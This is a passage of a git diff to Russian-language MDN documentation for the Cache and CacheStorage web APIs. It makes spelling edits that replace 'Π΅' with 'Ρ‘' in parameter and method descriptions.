<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠΎΠ΄Π° "кСш" это Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ WorkerGlobalScope сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ². Он содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β CacheStorage, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΒ <a href="https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage">CacheStorage</a>Β  API.</p>
@@ -66,7 +66,7 @@ translation_of: Web/API/Cache
<pre class="brush: js">var CACHE_VERSION = 1;
-// Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ привязанный ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ вСрсии кСша.
+// Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ привязанный ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ вСрсии кСша.
var CURRENT_CACHES = {
font: 'font-cache-v' + CACHE_VERSION
};
diff --git a/files/ru/web/api/cache/keys/index.html b/files/ru/web/api/cache/keys/index.html
index 0ae385d424..aa09fb7642 100644
--- a/files/ru/web/api/cache/keys/index.html
+++ b/files/ru/web/api/cache/keys/index.html
@@ -28,14 +28,14 @@ translation_of: Web/API/Cache/keys
<dl>
<dt>request {{optional_inline}}</dt>
- <dd>{{domxref("Request")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½, Ссли Π½Π°ΠΉΠ΄Π΅Π½ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡.</dd>
+ <dd>{{domxref("Request")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½, Ссли Π½Π°ΠΉΠ΄Π΅Π½ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡.</dd>
<dt>options {{optional_inline}}</dt>
<dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚, Ρ‡ΡŒΠΈ свойства ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ Ρ‚ΠΎ, ΠΊΠ°ΠΊ выполняСтся сопоставлСниС ΠΊΠ»ΡŽΡ‡Π΅ΠΉΒ Π΄Π»Ρ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ <code>keys</code>. ДопустимыС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹:
<ul>
<li><code>ignoreSearch</code>: Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ опрСдСляСт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ процСсс сопоставлСния ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку запроса Π² url.Β  Если установлСно Π²Β <code>true</code>, Ρ‡Π°ΡΡ‚ΡŒΒ <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½Π° ΠΏΡ€ΠΈ сопоставлСнии. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π² <code>false</code>.</li>
<li><code>ignoreMethod</code>: Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, ΠΊΠΎΠ³Π΄Π° Ρ€Π°Π²Π½ΠΎΒ <code>true</code>, ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ {{domxref("Request")}}, ΠΏΡ€ΠΈ сопоставлСнии ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, Π½Π°Β <code>HTTP</code> ΠΌΠ΅Ρ‚ΠΎΠ΄ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΄ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ <code>GET</code> ΠΈ <code>HEAD</code>). По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π²Β <code>false</code>.</li>
<li><code>ignoreVary</code>: Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, ΠΊΠΎΠ³Π΄Π° Ρ€Π°Π²Π½ΠΎΒ <code>true,</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ сопоставлСния ΠΊΠ»ΡŽΡ‡Π΅ΠΉ Π½Π΅ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β <code>VARY</code>. Β Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Ссли URL совпадаСт, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ соотвСтствиС, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π΅ΡΡ‚ΡŒ Π»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>VARYΒ </code>Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ запроса {{domxref("Response")}}. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π²Β <code>false</code>.</li>
- <li><code>cacheName</code>: Π‘Ρ‚Ρ€ΠΎΠΊΠ° {{domxref("DOMString")}}, которая прСдставляСт собой ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ кСш, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ нуТно вСсти поиск. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ игнорируСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>Cache.keys()</code>.</li>
+ <li><code>cacheName</code>: Π‘Ρ‚Ρ€ΠΎΠΊΠ° {{domxref("DOMString")}}, которая прСдставляСт собой ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ кСш, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ нуТно вСсти поиск. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ игнорируСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>Cache.keys()</code>.</li>
</ul>
</dd>
</dl>
diff --git a/files/ru/web/api/cache/match/index.html b/files/ru/web/api/cache/match/index.html
index a487987497..ae0b0783bd 100644
--- a/files/ru/web/api/cache/match/index.html
+++ b/files/ru/web/api/cache/match/index.html
@@ -28,12 +28,12 @@ translation_of: Web/API/Cache/match
<dt>request</dt>
<dd>Запрос {{domxref("Request")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π½Π°ΠΉΡ‚ΠΈ Π²Β {{domxref("Cache")}}.</dd>
<dt>options {{optional_inline}}</dt>
- <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Π΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ для ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ <code>match</code>. ДопустимыС значСния:
+ <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ для ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ <code>match</code>. ДопустимыС значСния:
<ul>
<li><code>ignoreSearch</code>: Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ слСдуСт Π»ΠΈ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку запроса Π²Β url.  НапримСр, Ссли ΠΎΠ½ΠΎ установлСно Π²Β <code>true,Β Ρ‡Π°ΡΡ‚ΡŒ</code>Β <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½Π° ΠΏΡ€ΠΈ поискС соотвСтствий ΠΊΠ»ΡŽΡ‡Π°. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎΒ <code>false</code>.</li>
<li><code>ignoreMethod</code>: Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, ΠΊΠΎΠ³Π΄Π° Ρ€Π°Π²Π½ΠΎΒ <code>true</code>, ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ <code>http</code>Β ΠΌΠ΅Ρ‚ΠΎΠ΄Π° для запроса Β {{domxref("Request")}} ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ сопоставлСний ΠΊΠ»ΡŽΡ‡Π°Β (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ лишь <code>GET</code> ΠΈ <code>HEAD</code>). По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎΒ <code>false</code>.</li>
<li><code>ignoreVary</code>: Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, ΠΊΠΎΠ³Π΄Π° установлСно Π²Β <code>true,</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ сопоставлСния ΠΊΠ»ΡŽΡ‡Π° Π½Π΅ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ соотвСтствия Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β <code>VARY</code>Β β€” Ρ‚.Π΅., Ссли URL совпадаСт, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ соотвСтствиС нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, установлСн ли Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β {{domxref("Response")}} Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>VARY</code>. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎΒ <code>false</code>.</li>
- <li><code>cacheName</code>: Π‘Ρ‚Ρ€ΠΎΠΊΠ° {{domxref("DOMString")}}, Π·Π°Π΄Π°ΡŽΡ‰Π°Ρ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ кСш для поиска. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ игнорируСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Β <code>Cache.match()</code>.</li>
+ <li><code>cacheName</code>: Π‘Ρ‚Ρ€ΠΎΠΊΠ° {{domxref("DOMString")}}, Π·Π°Π΄Π°ΡŽΡ‰Π°Ρ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ кСш для поиска. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ игнорируСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Β <code>Cache.match()</code>.</li>
</ul>
<p>Π’ Chrome поддСрТиваСтся лишь <code>cacheName</code>.</p>
diff --git a/files/ru/web/api/cachestorage/index.html b/files/ru/web/api/cachestorage/index.html
index 49d37cd9cd..98471205c0 100644
--- a/files/ru/web/api/cachestorage/index.html
+++ b/files/ru/web/api/cachestorage/index.html
@@ -15,36 +15,36 @@ translation_of: Web/API/CacheStorage
---
<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>CacheStorage</code></strong> прСдставляСт собой Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β {{domxref("Cache")}}. Он ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚Β Π³Π»Π°Π²Π½ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ всСх ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… кСшСй, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ {{domxref("ServiceWorker")}}, Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ² ΠΈΠ»ΠΈ {{domxref("window")}}Β (Π²Ρ‹ Π½Π΅ обязаны ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… с service workers, Π΄Π°ΠΆΠ΅ Ссли сущСствуСт спСцификация, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π°Ρ это) ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ строковых ΠΈΠΌΠ΅Π½ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Cache")}}.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>CacheStorage</code></strong> прСдставляСт собой Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β {{domxref("Cache")}}. Он ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚Β Π³Π»Π°Π²Π½ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ всСх ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… кСшСй, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ {{domxref("ServiceWorker")}}, Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ² ΠΈΠ»ΠΈ {{domxref("window")}}Β (Π²Ρ‹ Π½Π΅ обязаны ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… с service workers, Π΄Π°ΠΆΠ΅ Ссли сущСствуСт спСцификация, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π°Ρ это) ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ строковых ΠΈΠΌΡ‘Π½ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Cache")}}.</p>
<p><code>CacheStorage</code> Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ {{domxref("CacheStorage.open()")}}Β ΠΈ {{domxref("CacheStorage.match()")}}. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{domxref("CacheStorage.open()")}} для получСния экзСмпляров {{domxref("Cache")}}. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{domxref("CacheStorage.match()")}} для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, являСтся Π»ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉ {{domxref("Request")}} ΠΊΠ»ΡŽΡ‡ΠΎΠΌΒ Π²Β Π»ΡŽΠ±ΠΎΠΌ ΠΈΠ·Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Cache")}},Β ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ…Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ <code>CacheStorage</code>.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΒ <code>CacheStorage</code> Ρ‡Π΅Ρ€Π΅Π· глобальноС свойство {{domxref("WorkerGlobalScope.caches", "caches")}}.</p>
-<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: CacheStorage всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡ‚ΠΊΠ°Π· с <code>SecurityError</code> для Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½Ρ‹Ρ… источников (Ρ‚.e. Ρ‚Π΅Ρ…, Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ HTTPS, хотя это ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅, вСроятно, станСт Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰ΠΈΠΌ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ). ΠŸΡ€ΠΈ тСстировании это ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ, установив ΠΎΠΏΡ†ΠΈΡŽΒ "Enable Service Workers over HTTP (when toolbox is open)"Β Π² мСню Firefox Devtools options/gear.</div>
+<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: CacheStorage всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡ‚ΠΊΠ°Π· с <code>SecurityError</code> для Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹Ρ… источников (Ρ‚.e. Ρ‚Π΅Ρ…, Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ HTTPS, хотя это ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅, вСроятно, станСт Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰ΠΈΠΌ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ). ΠŸΡ€ΠΈ тСстировании это ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ, установив ΠΎΠΏΡ†ΠΈΡŽΒ "Enable Service Workers over HTTP (when toolbox is open)"Β Π² мСню Firefox Devtools options/gear.</div>
-<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: {{domxref("CacheStorage.match()")}} ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄. ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» сопоставлСния записСй кСша ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ ΠΏΡƒΡ‚Π΅ΠΌ открытия вашСго кСша с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("CacheStorage.open()")}}, возвращСния записСй, Π² Π½Π΅ΠΉ содСрТащихся, Ρ‡Π΅Ρ€Π΅Π· {{domxref("CacheStorage.keys()")}} ΠΈ сравнСния нСобходимой {{domxref("CacheStorage.match()")}}.</div>
+<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: {{domxref("CacheStorage.match()")}} ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄. ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» сопоставлСния записСй кСша ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ ΠΏΡƒΡ‚Ρ‘ΠΌ открытия вашСго кСша с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("CacheStorage.open()")}}, возвращСния записСй, Π² Π½Π΅ΠΉ содСрТащихся, Ρ‡Π΅Ρ€Π΅Π· {{domxref("CacheStorage.keys()")}} ΠΈ сравнСния нСобходимой {{domxref("CacheStorage.match()")}}.</div>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
<dl>
<dt>{{domxref("CacheStorage.match()")}}</dt>
- <dd>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚, являСтся Π»ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉΒ {{domxref("Request")}} ΠΊΠ»ΡŽΡ‡ΠΎΠΌ Π² любом ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Cache")}},Β ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ…Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ {{domxref("CacheStorage")}},Β ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° Π½Π°ΠΉΠ΄Π΅Ρ‚ совпадСниС.</dd>
+ <dd>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚, являСтся Π»ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉΒ {{domxref("Request")}} ΠΊΠ»ΡŽΡ‡ΠΎΠΌ Π² любом ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Cache")}},Β ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ…Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ {{domxref("CacheStorage")}},Β ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° Π½Π°ΠΉΠ΄Ρ‘Ρ‚ совпадСниС.</dd>
<dt>{{domxref("CacheStorage.has()")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ΠΈ Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>true,</code> Ссли ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Cache")}} содСрТит кСш с установлСнным <code>cacheName</code>.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ΠΈ Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>true,</code> Ссли ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Cache")}} содСрТит кСш с установлСнным <code>cacheName</code>.</dd>
<dt>{{domxref("CacheStorage.open()")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("Cache")}} Π½Π°ΠΉΠ΄Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с <code>cacheName</code> (Ссли Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π½Π΅Ρ‚, Ρ‚ΠΎ создаст новый).</dd>
